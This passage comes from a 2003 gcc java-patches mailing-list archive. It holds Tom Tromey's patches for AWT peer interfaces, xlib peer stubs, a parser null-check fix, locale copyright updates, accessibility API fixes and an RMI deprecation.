MenuComponentPeer { - -public abstract void dispose(); - + public void dispose(); } // interface MenuComponentPeer Index: java/awt/peer/MenuItemPeer.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/peer/MenuItemPeer.java,v retrieving revision 1.4 diff -u -r1.4 MenuItemPeer.java --- java/awt/peer/MenuItemPeer.java 22 Jan 2002 22:58:09 -0000 1.4 +++ java/awt/peer/MenuItemPeer.java 1 Mar 2003 21:14:44 -0000 @@ -40,11 +40,9 @@ public interface MenuItemPeer extends MenuComponentPeer { - -public abstract void disable(); -public abstract void enable(); -public abstract void setEnabled(boolean enabled); -public abstract void setLabel(String text); - + public void disable(); + public void enable(); + public void setEnabled(boolean enabled); + public void setLabel(String text); } // interface MenuItemPeer Index: java/awt/peer/MenuPeer.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/peer/MenuPeer.java,v retrieving revision 1.4 diff -u -r1.4 MenuPeer.java --- java/awt/peer/MenuPeer.java 22 Jan 2002 22:58:09 -0000 1.4 +++ java/awt/peer/MenuPeer.java 1 Mar 2003 21:14:44 -0000 @@ -42,8 +42,8 @@ public interface MenuPeer extends MenuItemPeer { - public abstract void addItem (MenuItem item); - public abstract void addSeparator (); - public abstract void delItem (int index); + public void addItem (MenuItem item); + public void addSeparator (); + public void delItem (int index); } Index: java/awt/peer/PopupMenuPeer.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/peer/PopupMenuPeer.java,v retrieving revision 1.3 diff -u -r1.3 PopupMenuPeer.java --- java/awt/peer/PopupMenuPeer.java 22 Jan 2002 22:58:09 -0000 1.3 +++ java/awt/peer/PopupMenuPeer.java 1 Mar 2003 21:14:44 -0000 @@ -39,10 +39,15 @@ package java.awt.peer; import java.awt.Component; +import java.awt.Event; + public interface PopupMenuPeer extends MenuPeer { - -public abstract void show (Component origin, int x, int y); - + + /** + * Part of the older API, replaced by event version instead. + */ + public void show (Component origin, int x, int y); + public void show (Event e); } // interface PopupMenuPeer Index: java/awt/peer/RobotPeer.java =================================================================== RCS file: java/awt/peer/RobotPeer.java diff -N java/awt/peer/RobotPeer.java --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ java/awt/peer/RobotPeer.java 1 Mar 2003 21:14:44 -0000 @@ -0,0 +1,54 @@ +/* RobotPeer.java -- Interface for programatically driving GUI + Copyright (C) 2003 Free Software Foundation, Inc. + +This file is part of GNU Classpath. + +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ + + +package java.awt.peer; + +import java.awt.Rectangle; + +public interface RobotPeer +{ + public void mouseMove (int x, int y); + public void mousePress (int x); + public void mouseRelease (int x); + public void mouseWheel (int x); + public void keyPress (int x); + public void keyRelease (int x); + public int getRGBPixel (int x, int y); + public int[] getRGBPixels (Rectangle r); +} // interface RobotPeer + Index: java/awt/peer/ScrollPanePeer.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/peer/ScrollPanePeer.java,v retrieving revision 1.5 diff -u -r1.5 ScrollPanePeer.java --- java/awt/peer/ScrollPanePeer.java 22 Jan 2002 22:58:09 -0000 1.5 +++ java/awt/peer/ScrollPanePeer.java 1 Mar 2003 21:14:44 -0000 @@ -42,13 +42,11 @@ public interface ScrollPanePeer extends ContainerPeer { - -public abstract int getHScrollbarHeight(); -public abstract int getVScrollbarWidth(); -public abstract void setScrollPosition(int h, int v); -public abstract void childResized(int width, int height); -public abstract void setUnitIncrement(Adjustable item, int inc); -public abstract void setValue(Adjustable item, int value); - + public int getHScrollbarHeight(); + public int getVScrollbarWidth(); + public void setScrollPosition(int h, int v); + public void childResized(int width, int height); + public void setUnitIncrement(Adjustable item, int inc); + public void setValue(Adjustable item, int value); } // interface ScollPanePeer Index: java/awt/peer/ScrollbarPeer.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/peer/ScrollbarPeer.java,v retrieving revision 1.3 diff -u -r1.3 ScrollbarPeer.java --- java/awt/peer/ScrollbarPeer.java 22 Jan 2002 22:58:09 -0000 1.3 +++ java/awt/peer/ScrollbarPeer.java 1 Mar 2003 21:14:44 -0000 @@ -40,10 +40,8 @@ public interface ScrollbarPeer extends ComponentPeer { - -public abstract void setLineIncrement(int inc); -public abstract void setPageIncrement(int inc); -public abstract void setValues(int value, int visible, int min, int max); - + public void setLineIncrement(int inc); + public void setPageIncrement(int inc); + public void setValues(int value, int visible, int min, int max); } // interface ScrollbarPeer Index: java/awt/peer/TextAreaPeer.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/peer/TextAreaPeer.java,v retrieving revision 1.4 diff -u -r1.4 TextAreaPeer.java --- java/awt/peer/TextAreaPeer.java 22 Jan 2002 22:58:09 -0000 1.4 +++ java/awt/peer/TextAreaPeer.java 1 Mar 2003 21:14:44 -0000 @@ -42,14 +42,12 @@ public interface TextAreaPeer extends TextComponentPeer { - -public abstract void insert(String text, int pos); -public abstract void insertText(String text, int pos); -public abstract Dimension minimumSize(int rows, int cols); -public abstract Dimension getMinimumSize(int rows, int cols); -public abstract Dimension preferredSize(int rows, int cols); -public abstract Dimension getPreferredSize(int rows, int cols); -public abstract void replaceRange(String text, int start_pos, int end_pos); -public abstract void replaceText(String text, int start_pos, int end_pos); - + public void insert(String text, int pos); + public void insertText(String text, int pos); + public Dimension minimumSize(int rows, int cols); + public Dimension getMinimumSize(int rows, int cols); + public Dimension preferredSize(int rows, int cols); + public Dimension getPreferredSize(int rows, int cols); + public void replaceRange(String text, int start_pos, int end_pos); + public void replaceText(String text, int start_pos, int end_pos); } // interface TextAreaPeer Index: java/awt/peer/TextComponentPeer.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/peer/TextComponentPeer.java,v retrieving revision 1.3 diff -u -r1.3 TextComponentPeer.java --- java/awt/peer/TextComponentPeer.java 22 Jan 2002 22:58:09 -0000 1.3 +++ java/awt/peer/TextComponentPeer.java 1 Mar 2003 21:14:44 -0000 @@ -38,17 +38,20 @@ package java.awt.peer; +import java.awt.Rectangle; + public interface TextComponentPeer extends ComponentPeer { - -public abstract int getSelectionEnd(); -public abstract int getSelectionStart(); -public abstract String getText(); -public abstract void setText(String text); -public abstract void select(int start_pos, int end_pos); -public abstract void setEditable(boolean editable); -public abstract int getCaretPosition(); -public abstract void setCaretPosition(int pos); - + public int getSelectionEnd(); + public int getSelectionStart(); + public String getText(); + public void setText(String text); + public void select(int start_pos, int end_pos); + public void setEditable(boolean editable); + public int getCaretPosition(); + public void setCaretPosition(int pos); + public int getIndexAtPoint(int x, int y); + public Rectangle getCharacterBounds(int pos); + public long filterEvents(long filter); } // interface TextComponentPeer Index: java/awt/peer/TextFieldPeer.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/peer/TextFieldPeer.java,v retrieving revision 1.4 diff -u -r1.4 TextFieldPeer.java --- java/awt/peer/TextFieldPeer.java 22 Jan 2002 22:58:09 -0000 1.4 +++ java/awt/peer/TextFieldPeer.java 1 Mar 2003 21:14:44 -0000 @@ -42,13 +42,11 @@ public interface TextFieldPeer extends TextComponentPeer { - -public abstract Dimension minimumSize(int len); -public abstract Dimension preferredSize(int len); -public abstract Dimension getMinimumSize(int len); -public abstract Dimension getPreferredSize(int len); -public abstract void setEchoChar(char echo_char); -public abstract void setEchoCharacter(char echo_char); - + public Dimension minimumSize(int len); + public Dimension preferredSize(int len); + public Dimension getMinimumSize(int len); + public Dimension getPreferredSize(int len); + public void setEchoChar(char echo_char); + public void setEchoCharacter(char echo_char); } // interface TextFieldPeer Index: java/awt/peer/WindowPeer.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/peer/WindowPeer.java,v retrieving revision 1.6 diff -u -r1.6 WindowPeer.java --- java/awt/peer/WindowPeer.java 22 Jan 2002 22:58:09 -0000 1.6 +++ java/awt/peer/WindowPeer.java 1 Mar 2003 21:14:44 -0000 @@ -40,9 +40,7 @@ public interface WindowPeer extends ContainerPeer { - -public abstract void toBack(); -public abstract void toFront(); - + public void toBack(); + public void toFront(); } // interface WindowPeer From java-patches-return-6311-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Mar 01 21:45:56 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 21599 invoked by alias); 1 Mar 2003 21:45:56 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 21587 invoked from network); 1 Mar 2003 21:45:55 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 1 Mar 2003 21:45:55 -0000 Received: from fleche.redhat.com (tf0101.peakpeak.com [204.144.239.101]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id OAA00580; Sat, 1 Mar 2003 14:45:54 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id DB88A4F8610; Sat, 1 Mar 2003 14:37:19 -0700 (MST) To: java-patches@gcc.gnu.org Cc: Gcc Patch List Subject: Patch: FYI: gcj ICE fixlet From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Why is it that when you DIE, you can't take your HOME ENTERTAINMENT CENTER with you?? Date: 01 Mar 2003 14:37:19 -0700 Message-ID: <877kbiwyy8.fsf@fleche.redhat.com> Lines: 31 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii I'm checking this in as obvious on the trunk. My earlier deprecation fix introduced an ICE. If the user's code has a bug, in one situation we can have `decl == NULL_TREE'; this causes the deprecation check to crash. Other code in this same function checks decl as well, hence this patch. Tom Index: ChangeLog from Tom Tromey * parse.y (jdep_resolve_class): Only check deprecation if we found a decl. Index: parse.y =================================================================== RCS file: /cvs/gcc/gcc/gcc/java/parse.y,v retrieving revision 1.423 diff -u -r1.423 parse.y --- parse.y 28 Feb 2003 20:53:47 -0000 1.423 +++ parse.y 1 Mar 2003 21:36:52 -0000 @@ -5464,7 +5464,7 @@ JDEP_RESOLVED (dep, decl); /* If there is no WFL, that's ok. We generate this warning elsewhere. */ - if (JDEP_WFL (dep) != NULL_TREE) + if (decl && JDEP_WFL (dep) != NULL_TREE) check_deprecation (JDEP_WFL (dep), decl); } From java-patches-return-6312-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Mar 01 22:11:35 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 31963 invoked by alias); 1 Mar 2003 22:11:34 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 31956 invoked from network); 1 Mar 2003 22:11:34 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 1 Mar 2003 22:11:34 -0000 Received: from fleche.redhat.com (tf0101.peakpeak.com [204.144.239.101]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id PAA09352; Sat, 1 Mar 2003 15:11:33 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 231F94F8610; Sat, 1 Mar 2003 15:02:52 -0700 (MST) To: java-patches@gcc.gnu.org Subject: Re: Patch: FYI: Classpath AWT re-merge References: <87fzq6x0am.fsf@fleche.redhat.com> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: I am covered with pure vegetable oil and I am writing a best seller! Date: 01 Mar 2003 15:02:52 -0700 In-Reply-To: <87fzq6x0am.fsf@fleche.redhat.com> Message-ID: <87wujivj77.fsf@fleche.redhat.com> Lines: 174 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Tom" == Tom Tromey writes: Tom> This pulls in some recent Classpath AWT changes: some reindentations, Tom> a couple new files, some API conformance fixes, and a few peer Tom> additions. I sent this too soon. The appended is also required. Tom Index: ChangeLog from Tom Tromey * gnu/awt/xlib/XPanelPeer.java (beginLayout, endLayout, isPaintPending): New methods. * gnu/awt/xlib/XFramePeer.java (getState, setState, setMaximizedBounds): New methods. (beginLayout, endLayout, isPaintPending): Likewise. * gnu/awt/xlib/XCanvasPeer.java (isFocusable): New method. (requestFocus): Likewise. (isObscured): Likewise. (canDetermineObscurity): Likewise. (coalescePaintEvent): Likewise. (updateCursorImmediately): Likewise. (createVolatileImage): Likewise. (handlesWheelScrolling): Likewise. (createBuffers): Likewise. (getBackBuffer): Likewise. (flip): Likewise. (destroyBuffers): Likewise. Index: gnu/awt/xlib/XCanvasPeer.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/awt/xlib/XCanvasPeer.java,v retrieving revision 1.2 diff -u -r1.2 XCanvasPeer.java --- gnu/awt/xlib/XCanvasPeer.java 22 Jan 2002 22:03:00 -0000 1.2 +++ gnu/awt/xlib/XCanvasPeer.java 1 Mar 2003 22:11:05 -0000 @@ -1,4 +1,4 @@ -/* Copyright (C) 2000, 2002 Free Software Foundation +/* Copyright (C) 2000, 2002, 2003 Free Software Foundation This file is part of libgcj. @@ -9,6 +9,7 @@ package gnu.awt.xlib; import java.awt.Dimension; +import java.awt.BufferCapabilities; import java.awt.Component; import java.awt.EventQueue; import java.awt.Rectangle; @@ -409,6 +410,64 @@ public void hide () { setVisible (false); + } + + public boolean isFocusable () + { + return false; + } + + public boolean requestFocus (Component source, boolean b1, + boolean b2, long x) + { + return false; + } + + public boolean isObscured () + { + return false; + } + + public boolean canDetermineObscurity () + { + return false; + } + + public void coalescePaintEvent (PaintEvent e) + { + } + + public void updateCursorImmediately () + { + } + + public VolatileImage createVolatileImage (int width, int height) + { + return null; + } + + public boolean handlesWheelScrolling () + { + return false; + } + + public void createBuffers (int x, BufferCapabilities capabilities) + throws java.awt.AWTException + + { + } + + public Image getBackBuffer () + { + return null; + } + + public void flip (BufferCapabilities.FlipContents contents) + { + } + + public void destroyBuffers () + { } static class DoMap implements Runnable Index: gnu/awt/xlib/XFramePeer.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/awt/xlib/XFramePeer.java,v retrieving revision 1.2 diff -u -r1.2 XFramePeer.java --- gnu/awt/xlib/XFramePeer.java 22 Jan 2002 22:03:01 -0000 1.2 +++ gnu/awt/xlib/XFramePeer.java 1 Mar 2003 22:11:05 -0000 @@ -1,4 +1,4 @@ -/* Copyright (C) 2000, 2002 Free Software Foundation +/* Copyright (C) 2000, 2002, 2003 Free Software Foundation This file is part of libgcj. @@ -176,4 +176,21 @@ } sizeHints.applyNormalHints(window); } + + public int getState () + { + return 0; + } + + public void setState (int state) + { + } + + public void setMaximizedBounds (Rectangle r) + { + } + + public void beginLayout () { } + public void endLayout () { } + public boolean isPaintPending () { return false; } } Index: gnu/awt/xlib/XPanelPeer.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/awt/xlib/XPanelPeer.java,v retrieving revision 1.2 diff -u -r1.2 XPanelPeer.java --- gnu/awt/xlib/XPanelPeer.java 22 Jan 2002 22:03:01 -0000 1.2 +++ gnu/awt/xlib/XPanelPeer.java 1 Mar 2003 22:11:05 -0000 @@ -1,4 +1,4 @@ -/* Copyright (C) 2000, 2002 Free Software Foundation +/* Copyright (C) 2000, 2002, 2003 Free Software Foundation This file is part of libgcj. @@ -54,4 +54,8 @@ { // NOP } + + public void beginLayout () { } + public void endLayout () { } + public boolean isPaintPending () { return false; } } From java-patches-return-6313-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Mar 01 22:21:36 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 2771 invoked by alias); 1 Mar 2003 22:21:36 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 2764 invoked from network); 1 Mar 2003 22:21:35 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 1 Mar 2003 22:21:35 -0000 Received: from fleche.redhat.com (tf0101.peakpeak.com [204.144.239.101]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id PAA14170; Sat, 1 Mar 2003 15:21:34 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 576554F8610; Sat, 1 Mar 2003 15:13:00 -0700 (MST) To: java-patches@gcc.gnu.org Subject: Patch: FYI: copyright info on locale files From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: YOW!!! I am having fun!!! Date: 01 Mar 2003 15:13:00 -0700 Message-ID: <87llzyviqb.fsf@fleche.redhat.com> Lines: 142 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii I'm checking this in to the trunk. This pulls in the copyright info for the locale files. It is a trivial re-merge against classpath. Tom Index: ChangeLog from Tom Tromey * gnu/java/locale/LocaleInformation_af_ZA.java, gnu/java/locale/LocaleInformation_ar_AE.java, gnu/java/locale/LocaleInformation_ar_BH.java, gnu/java/locale/LocaleInformation_ar_DZ.java, gnu/java/locale/LocaleInformation_ar_EG.java, gnu/java/locale/LocaleInformation_ar_IN.java, gnu/java/locale/LocaleInformation_ar_IQ.java, gnu/java/locale/LocaleInformation_ar_JO.java, gnu/java/locale/LocaleInformation_ar_KW.java, gnu/java/locale/LocaleInformation_ar_LB.java, gnu/java/locale/LocaleInformation_ar_LY.java, gnu/java/locale/LocaleInformation_ar_MA.java, gnu/java/locale/LocaleInformation_ar_OM.java, gnu/java/locale/LocaleInformation_ar_QA.java, gnu/java/locale/LocaleInformation_ar_SD.java, gnu/java/locale/LocaleInformation_ar_SY.java, gnu/java/locale/LocaleInformation_ar_TN.java, gnu/java/locale/LocaleInformation_ar_YE.java, gnu/java/locale/LocaleInformation_be_BY.java, gnu/java/locale/LocaleInformation_bn_IN.java, gnu/java/locale/LocaleInformation_br_FR.java, gnu/java/locale/LocaleInformation_bs_BA.java, gnu/java/locale/LocaleInformation_ca_ES.java, gnu/java/locale/LocaleInformation_cs_CZ.java, gnu/java/locale/LocaleInformation_cy_GB.java, gnu/java/locale/LocaleInformation_da_DK.java, gnu/java/locale/LocaleInformation_de_AT.java, gnu/java/locale/LocaleInformation_de_BE.java, gnu/java/locale/LocaleInformation_de_CH.java, gnu/java/locale/LocaleInformation_de_DE.java, gnu/java/locale/LocaleInformation_de_LU.java, gnu/java/locale/LocaleInformation_el_GR.java, gnu/java/locale/LocaleInformation_en_AU.java, gnu/java/locale/LocaleInformation_en_BW.java, gnu/java/locale/LocaleInformation_en_CA.java, gnu/java/locale/LocaleInformation_en_DK.java, gnu/java/locale/LocaleInformation_en_GB.java, gnu/java/locale/LocaleInformation_en_HK.java, gnu/java/locale/LocaleInformation_en_IE.java, gnu/java/locale/LocaleInformation_en_IN.java, gnu/java/locale/LocaleInformation_en_NZ.java, gnu/java/locale/LocaleInformation_en_PH.java, gnu/java/locale/LocaleInformation_en_SG.java, gnu/java/locale/LocaleInformation_en_US.java, gnu/java/locale/LocaleInformation_en_ZA.java, gnu/java/locale/LocaleInformation_en_ZW.java, gnu/java/locale/LocaleInformation_es_AR.java, gnu/java/locale/LocaleInformation_es_BO.java, gnu/java/locale/LocaleInformation_es_CL.java, gnu/java/locale/LocaleInformation_es_CO.java, gnu/java/locale/LocaleInformation_es_CR.java, gnu/java/locale/LocaleInformation_es_DO.java, gnu/java/locale/LocaleInformation_es_EC.java, gnu/java/locale/LocaleInformation_es_ES.java, gnu/java/locale/LocaleInformation_es_GT.java, gnu/java/locale/LocaleInformation_es_HN.java, gnu/java/locale/LocaleInformation_es_MX.java, gnu/java/locale/LocaleInformation_es_NI.java, gnu/java/locale/LocaleInformation_es_PA.java, gnu/java/locale/LocaleInformation_es_PE.java, gnu/java/locale/LocaleInformation_es_PR.java, gnu/java/locale/LocaleInformation_es_PY.java, gnu/java/locale/LocaleInformation_es_SV.java, gnu/java/locale/LocaleInformation_es_US.java, gnu/java/locale/LocaleInformation_es_UY.java, gnu/java/locale/LocaleInformation_es_VE.java, gnu/java/locale/LocaleInformation_et_EE.java, gnu/java/locale/LocaleInformation_eu_ES.java, gnu/java/locale/LocaleInformation_fa_IR.java, gnu/java/locale/LocaleInformation_fi_FI.java, gnu/java/locale/LocaleInformation_fo_FO.java, gnu/java/locale/LocaleInformation_fr_BE.java, gnu/java/locale/LocaleInformation_fr_CA.java, gnu/java/locale/LocaleInformation_fr_CH.java, gnu/java/locale/LocaleInformation_fr_FR.java, gnu/java/locale/LocaleInformation_fr_LU.java, gnu/java/locale/LocaleInformation_ga_IE.java, gnu/java/locale/LocaleInformation_gd_GB.java, gnu/java/locale/LocaleInformation_gl_ES.java, gnu/java/locale/LocaleInformation_gv_GB.java, gnu/java/locale/LocaleInformation_he_IL.java, gnu/java/locale/LocaleInformation_hi_IN.java, gnu/java/locale/LocaleInformation_hr_HR.java, gnu/java/locale/LocaleInformation_hu_HU.java, gnu/java/locale/LocaleInformation_id_ID.java, gnu/java/locale/LocaleInformation_it_CH.java, gnu/java/locale/LocaleInformation_it_IT.java, gnu/java/locale/LocaleInformation_iw_IL.java, gnu/java/locale/LocaleInformation_ja_JP.java, gnu/java/locale/LocaleInformation_ka_GE.java, gnu/java/locale/LocaleInformation_kl_GL.java, gnu/java/locale/LocaleInformation_ko_KR.java, gnu/java/locale/LocaleInformation_kw_GB.java, gnu/java/locale/LocaleInformation_lt_LT.java, gnu/java/locale/LocaleInformation_lv_LV.java, gnu/java/locale/LocaleInformation_mi_NZ.java, gnu/java/locale/LocaleInformation_mk_MK.java, gnu/java/locale/LocaleInformation_mr_IN.java, gnu/java/locale/LocaleInformation_mt_MT.java, gnu/java/locale/LocaleInformation_nl_BE.java, gnu/java/locale/LocaleInformation_nl_NL.java, gnu/java/locale/LocaleInformation_nn_NO.java, gnu/java/locale/LocaleInformation_no_NO.java, gnu/java/locale/LocaleInformation_oc_FR.java, gnu/java/locale/LocaleInformation_pl_PL.java, gnu/java/locale/LocaleInformation_pt_BR.java, gnu/java/locale/LocaleInformation_pt_PT.java, gnu/java/locale/LocaleInformation_ro_RO.java, gnu/java/locale/LocaleInformation_ru_RU.java, gnu/java/locale/LocaleInformation_ru_UA.java, gnu/java/locale/LocaleInformation_se_NO.java, gnu/java/locale/LocaleInformation_sk_SK.java, gnu/java/locale/LocaleInformation_sl_SI.java, gnu/java/locale/LocaleInformation_sq_AL.java, gnu/java/locale/LocaleInformation_sr_YU.java, gnu/java/locale/LocaleInformation_sv_FI.java, gnu/java/locale/LocaleInformation_sv_SE.java, gnu/java/locale/LocaleInformation_ta_IN.java, gnu/java/locale/LocaleInformation_te_IN.java, gnu/java/locale/LocaleInformation_tg_TJ.java, gnu/java/locale/LocaleInformation_tl_PH.java, gnu/java/locale/LocaleInformation_tr_TR.java, gnu/java/locale/LocaleInformation_uk_UA.java, gnu/java/locale/LocaleInformation_ur_PK.java, gnu/java/locale/LocaleInformation_uz_UZ.java, gnu/java/locale/LocaleInformation_vi_VN.java, gnu/java/locale/LocaleInformation_yi_US.java, gnu/java/locale/LocaleInformation_zh_CN.java, gnu/java/locale/LocaleInformation_zh_HK.java, gnu/java/locale/LocaleInformation_zh_SG.java, gnu/java/locale/LocaleInformation_zh_TW.java: Updated copyright info; from Classpath. From java-patches-return-6314-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Mar 01 22:25:16 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 3440 invoked by alias); 1 Mar 2003 22:25:15 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 3432 invoked from network); 1 Mar 2003 22:25:15 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 1 Mar 2003 22:25:15 -0000 Received: from fleche.redhat.com (tf0101.peakpeak.com [204.144.239.101]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id PAA15598; Sat, 1 Mar 2003 15:25:14 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id F36214F8610; Sat, 1 Mar 2003 15:16:39 -0700 (MST) To: java-patches@gcc.gnu.org Subject: Patch: FYI: classpath mergelet From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: .. I'm IMAGINING a sensuous GIRAFFE, CAVORTING in the BACK ROOM of a KOSHER DELI -- Date: 01 Mar 2003 15:16:39 -0700 Message-ID: <87heamvik8.fsf@fleche.redhat.com> Lines: 62 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii I'm checking this in to the trunk. This brings over some API fixes from Classpath. Tom Index: ChangeLog from Tom Tromey * javax/accessibility/AccessibleEditableText.java, javax/accessibility/AccessibleHyperlink.java: New versions from Classpath. Index: javax/accessibility/AccessibleEditableText.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/javax/accessibility/AccessibleEditableText.java,v retrieving revision 1.1 diff -u -r1.1 AccessibleEditableText.java --- javax/accessibility/AccessibleEditableText.java 9 Aug 2002 04:26:13 -0000 1.1 +++ javax/accessibility/AccessibleEditableText.java 1 Mar 2003 22:24:13 -0000 @@ -92,7 +92,7 @@ * @param end the end position, exclusive */ // XXX What happens if indices are out of bounds? - String delete(int start, int end); + void delete(int start, int end); /** * Cut the text between two points to the system clipboard. @@ -101,7 +101,7 @@ * @param end the end position, exclusive */ // XXX What happens if indices are out of bounds? - String cut(int start, int end); + void cut(int start, int end); /** * Paste the text from the system clipboard at the given index. Index: javax/accessibility/AccessibleHyperlink.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/javax/accessibility/AccessibleHyperlink.java,v retrieving revision 1.1 diff -u -r1.1 AccessibleHyperlink.java --- javax/accessibility/AccessibleHyperlink.java 9 Aug 2002 04:26:13 -0000 1.1 +++ javax/accessibility/AccessibleHyperlink.java 1 Mar 2003 22:24:13 -0000 @@ -106,7 +106,7 @@ * @return the link location * @see #getAccessibleActionCount() */ - public abstract String getAccessibleActionObject(int i); + public abstract Object getAccessibleActionObject(int i); /** * Get the anchor appropriate for the link, or null if the index is out of @@ -119,7 +119,7 @@ * @return the link anchor object * @see #getAccessibleActionCount() */ - public abstract String getAccessibleActionAnchor(int i); + public abstract Object getAccessibleActionAnchor(int i); /** * Gets the character index where this link starts in the parent hypertext From java-patches-return-6315-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Mar 01 22:34:43 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 5570 invoked by alias); 1 Mar 2003 22:34:43 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 5559 invoked from network); 1 Mar 2003 22:34:42 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 1 Mar 2003 22:34:42 -0000 Received: from fleche.redhat.com (tf0101.peakpeak.com [204.144.239.101]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id PAA19234; Sat, 1 Mar 2003 15:34:42 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id EE3E34F8610; Sat, 1 Mar 2003 15:26:07 -0700 (MST) To: java-patches@gcc.gnu.org Subject: Patch: FYI: RMI API fixlet From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: I don't know WHY I said that.. I think it came from the FILLINGS in my rear molars.. Date: 01 Mar 2003 15:26:07 -0700 Message-ID: <878yvyvi4g.fsf@fleche.redhat.com> Lines: 42 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii I'm checking this in on the trunk and to Classpath. This properly deprecates an RMI interface. Tom Index: ChangeLog from Tom Tromey * java/rmi/registry/RegistryHandler.java: Deprecate. Index: java/rmi/registry/RegistryHandler.java =================================================================== RCS file: /cvsroot/classpath/classpath/java/rmi/registry/RegistryHandler.java,v retrieving revision 1.2 diff -u -r1.2 RegistryHandler.java --- java/rmi/registry/RegistryHandler.java 22 Jan 2002 22:27:00 -0000 1.2 +++ java/rmi/registry/RegistryHandler.java 1 Mar 2003 22:34:02 -0000 @@ -1,5 +1,5 @@ /* - Copyright (c) 1996, 1997, 1998, 1999 Free Software Foundation, Inc. + Copyright (c) 1996, 1997, 1998, 1999, 2003 Free Software Foundation, Inc. This file is part of GNU Classpath. @@ -40,10 +40,16 @@ import 